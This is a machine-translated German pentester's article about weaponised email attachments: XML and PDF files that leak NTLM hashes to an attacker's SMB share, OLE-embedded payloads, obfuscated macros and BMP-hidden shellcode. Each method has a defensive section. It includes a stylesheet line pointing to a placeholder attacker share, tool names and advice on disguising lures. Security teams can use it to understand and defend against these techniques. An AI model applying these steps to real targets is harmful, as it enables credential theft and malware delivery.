Öffnen kann nicht ignoriert werden



Meine Arbeit hängt mit der Tatsache zusammen, dass ich Menschen anlüge und ihre Leichtgläubigkeit, Neugierde, Gier usw. ausnutze. Ich liebe meine Arbeit und versuche, sie kreativ anzugehen. Die Besonderheiten meiner Tätigkeit beziehen sich auf die Durchführung von Angriffen nach der Methode des Social Engineering. Und in diesem Beitrag möchte ich über böswillige Anhänge sprechen.

Wenn PDF in Ihre E-Mail fällt, werden Sie es öffnen? Und die Word-Datei? Öffnen Sie das Bild aus einer unbekannten Quelle? Kann es zu Problemen kommen, wenn Sie das Archiv herunterladen? Wie gut wissen Sie, welche Investitionen gefährlich sind und welche nicht? Was ist mit Ihren Kollegen?

Bei mehreren Dutzend Projekten habe ich völlig unterschiedliche Methoden ausprobiert, um die Nutzlast an den Benutzer zu liefern. Einige waren sehr effektiv, andere waren leicht zu erkennen - jeder hat seine eigenen Vor- und Nachteile. Ich werde nicht sagen, wie ausführbare Dateien mit der Erweiterung .exe im Archiv gepackt werden sollen. Mit solch einem altmodischen Ansatz ist es teurer, Sicherheitssysteme zu durchbrechen und dann den Benutzer dazu zu bringen, den Anhang zu starten. Ich werde Ihnen sagen, welche potenziell gefährlichen Dateien heute tatsächlich per Post empfangen (oder gesendet) werden können.

Haftungsausschluss: Alle folgenden Angaben dienen nur zu Informationszwecken. Der Autor beschreibt die während des Pentests gesammelten Erfahrungen, ist nicht für die Wiederholung dieser Angriffe verantwortlich und empfiehlt, das Material nicht für illegale Zwecke zu verwenden.

XML


Die Essenz der Methode

Die meisten Office-Dateien basieren auf Microsoft Office Open XML (OOXML), einem komprimierten XML-Format, das von Microsoft für die Darstellung von Tabellen, Diagrammen, Präsentationen usw. entwickelt wurde. Die XML-Beteiligung wird in der Dokumenterweiterung (docx, xlsx, pptx) angezeigt. Es ist sehr merkwürdig, dass solche Office-Dokumente als normale Textdatei mit allen Tags und Attributen geöffnet werden können. Jede Office Open XML-Datei kann als XML gespeichert werden und Änderungen an den Tags vornehmen. Fügen Sie beispielsweise einen Link zu einem öffentlichen Ordner hinzu, der von einem Angreifer gesteuert wird. Wenn Sie die XML-Datei ausführen, wird versucht, eine Verbindung zu einem geöffneten öffentlichen Ordner herzustellen. Beim Versuch, eine Verbindung über das SMB-Protokoll herzustellen, stellt Windows freundlicherweise einen NTLM-Hash (NTLMv2) und eine Benutzeranmeldung bei einem Angreifer zur Verfügung.



Implementierung auf den Punkt gebracht

Um den Vektor zu implementieren, müssen Sie ein Office Open XML-Dokument (docx, pptx, xlsx usw.) erstellen und als XML speichern. Öffnen Sie XML und nehmen Sie die folgenden Änderungen vor:

<?xml-stylesheet type="text/xsl" href="\\xxx.xxx.xxx.xxx \test\swordfish.xsl ">

In dem angegebenen Tag müssen Sie die Adresse des öffentlichen Netzwerkordners angeben, zu dem das Opfer eine Verbindung herstellen wird.

Hinweis : Anstelle von ="\\xxx.xxx.xxx.xxx\test\swordfish.xsl Sie folgende file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl schreiben file:/// xxx.xxx.xxx.xxx/test/swordfish.xsl . Als Nächstes muss die Datei gespeichert und an das Opfer gesendet werden.

Informationen zum Angriff finden Sie hier .

Hinweis : Je nach Betriebssystem und Einstellungen muss der Benutzer möglicherweise zusätzlichen Bedingungen oder Kommentaren zustimmen, z. B.:



Ein Artikel wäre ohne Schutzhinweis unvollständig:

  • Verwenden Sie eine komplexe Kennwortrichtlinie.
  • Verwenden Sie NTLMv2.
  • Verweigern Sie externen Datenverkehr über jdm (TCP 139/445).

Bad-pdf


Die Essenz der Methode

Der PDF-Datei wird ein Tag mit einem Link zu einem öffentlichen SMB-Server hinzugefügt, der vom Angreifer gesteuert wird. Wie im obigen Beispiel sendet das Betriebssystem beim Öffnen einer Datei einen NTLM-Hash (NTLMv2), um eine Verbindung zum öffentlichen Ordner herzustellen.

Implementierung auf den Punkt gebracht

Die Implementierung dieses Angriffs ist viel einfacher als der vorherige. Um einen Hash erfolgreich zu stehlen, laden Sie einfach das Dienstprogramm herunter (Git-Klon hier oder hier ) und geben Sie das Recht, die Python-Datei auszuführen (chmod + x). Führen Sie als Nächstes das Python-Skript aus und geben Sie die IP-Adresse, den Dateinamen und die Schnittstelle wie in der folgenden Abbildung ein.


Generieren einer Payload-Datei.

Die empfangene Datei kann unter dem Deckmantel eines Glückwunsches, eines Dokuments zur Unterschrift, eines Scans der Bewerbung usw. an die E-Mail gesendet werden. Wenn die Datei gestartet wird, werden alle Hashes an den Angreifer gesendet.



Schutz

  • Verwenden Sie eine komplexe Kennwortrichtlinie.
  • Verwenden Sie NTLMv2.
  • Verweigern Sie externen Datenverkehr über jdm (TCP 139/445).

OLE-Objekt


Die Essenz der Methode

In einem legitimen Office-Dokument ist ein Skript eingebettet, das durch Klicken gestartet wird. Das Skript kann absolut beliebig sein, es ist normalerweise nur eine Nutzlast. Es verfügt über ein eigenes Symbol, das je nach Wunsch des Angreifers bis zu einer vollständigen Kopie des Stils von Office-Dokumenten geändert werden kann, die Fehlermeldungen simulieren. Im Gegensatz zu Makros ist eine Datei mit einem OLE-Anhang für normale Benutzer nicht verdächtig.


Implementierung auf den Punkt gebracht

Um sich auf diesen Angriff vorzubereiten, muss etwas mehr Aufwand betrieben werden (im Vergleich zu den oben genannten). Der erste Schritt besteht darin, eine Nutzlast zu generieren. Als nächstes müssen Sie den Server starten, der Verbindungen von Payload empfängt, dann ein Word-Dokument erstellen, es in RTF konvertieren und einen Link zur Payload hinzufügen. Wenn kurz.
Informationen zum Angriff finden Sie hier .

Schutz

Zum Schutz vor solchen Angriffen empfehlen wir , die folgenden Registrierungsänderungen vorzunehmen:

HKCUSoftwareMicrosoftOffice -> Office Version -> Office application -> SecurityPackagerPrompt

Der Wert für die Office Version kann 16,0 (Office 2016) sein. 15,0 (Büro 2013); 14.0 (Office 2010); oder 12.0 (Office 2007). Der Wert der Office application ist der Name einer bestimmten Office-Anwendung, dh Word, Excel usw.

Der Wert dieses Registrierungsschlüssels sollte "2" sein, was "Keine Eingabeaufforderung, Objekt wird nicht ausgeführt" oder ein tatsächliches Verbot der Ausführung von Objekten bedeutet. Mit dem Wert "1" kann der Benutzer "Aus Office auffordern, wenn der Benutzer klickt, das Objekt ausgeführt wird", dh Objekte werden mit einem Klick angeklickt, und Office zeigt die entsprechende Nachricht an. Der Wert "0" bedeutet wiederum "Keine Eingabeaufforderung von Office, wenn der Benutzer klickt, das Objekt wird ausgeführt", dh Objekte werden ausgeführt, aber der Benutzer erhält keine Nachrichten von Office.

Änderungen können vorgenommen werden, wenn diese Funktionen nicht in den Geschäftsprozessen Ihres Unternehmens verwendet werden.

Makros


Wie kann ich Makros nicht erwähnen, da OLE erwähnt wurde?



Die Essenz der Methode

Makro - eine Reihe von Befehlen, die die Arbeit des Benutzers vereinfachen sollen. Möglicherweise können Sie absolut jeden Befehlssatz in ein Makro schreiben und erhalten so eine Nutzlast. Um ein Dokument mit einem Makro zu erstellen, muss ein Angreifer nur den Nutzlastcode verschleiern und den Code zum Dokumentmakro hinzufügen.

Implementierung auf den Punkt gebracht

Derzeit gibt es sehr viele Möglichkeiten, ein Makro zu generieren. Sie können das Luckystrike- Tool verwenden oder beim bekannteren Metasploit anhalten. Sie können msfvenom verwenden und das Makro nach der Generierung verschleiern. Wenn das Makro erstellt wird, müssen Sie es nur dem Office-Dokument hinzufügen. Im Gegensatz zu einem OLE-Anhang benötigen Sie jedoch viel Aufwand, um ein Makro auszuführen. Derzeit führen nur sehr wenige Benutzer Makros aus. Windows hat bereits gelernt, vor verdächtigen Makros zu warnen, und es wurde viel über deren Gefahr gesprochen.

Schutz

Aus Gründen der Zuverlässigkeit empfehle ich, die Makroausführung ohne Benachrichtigung zu deaktivieren.

BMP


Es ist sehr unwahrscheinlich, dass Sie jemals auf einen BMP-Anhang mit einem Shellcode stoßen. Seien Sie sich also bewusst: Es gibt solche.

Die Essenz der Methode

Der Shell-Code ist im BMP-Format in das Bild eingebettet. Das Bild selbst ist zum Zeitpunkt der Entdeckung nicht gefährlich. Es geht nicht darum, einen Angreifer eine Sitzung aufnehmen zu lassen. Das Bild muss liegen und auf die Stunde warten, in der der Angreifer es mit dem Befehl Powershell aktiviert. Diese Methode ist weniger ein Angriff als vielmehr eine Umgehung von Antivirenprogrammen und Tools zur Erkennung von Eindringlingen.

Implementierung auf den Punkt gebracht

Verwenden Sie einfach dieses Repository, um ein Bild zu erstellen. DKMC bietet alles von der Bilderzeugung bis zur Codeverschleierung. Ich möchte auch darauf hinweisen, dass das "infizierte" Bild seltsame mehrfarbige Pixel enthält. Dies kann leicht behoben werden, wenn Sie den sichtbaren Bereich des Bildes um 5-10 Pixel zuschneiden.

Nach dem Erstellen des Bildes muss die Datei dem Opfer übergeben werden und auf die richtige Gelegenheit warten oder nach der Möglichkeit suchen, das Powershell-Skript auszuführen.

Schutz

Das Filtern jeder BMP-Datei als potenziell gefährlich ist ineffizient. Sie können Konverter verwenden und Bilder in anderen Formaten speichern, Dateien auf Computern untersuchen oder die Tatsache akzeptieren, dass das Vorhandensein eines Bildes mit Shell-Code nicht das Hauptsicherheitsproblem ist, wenn ein Angreifer das Powershell-Skript auf dem Computer eines Mitarbeiters verwendet hat.

Das ist in der Tat alles. Ich hoffe, dieser Artikel hat Ihr Verständnis für die Investitionen und die damit verbundenen Gefahren erweitert. Wir werden etwas später über verdächtige Links sprechen.



Ekaterina Rudaya ( Caterin ), Expertin am Labor für praktische Sicherheitsanalyse, Jet Infosystems

Source: https://habr.com/ru/post/de426463/


All Articles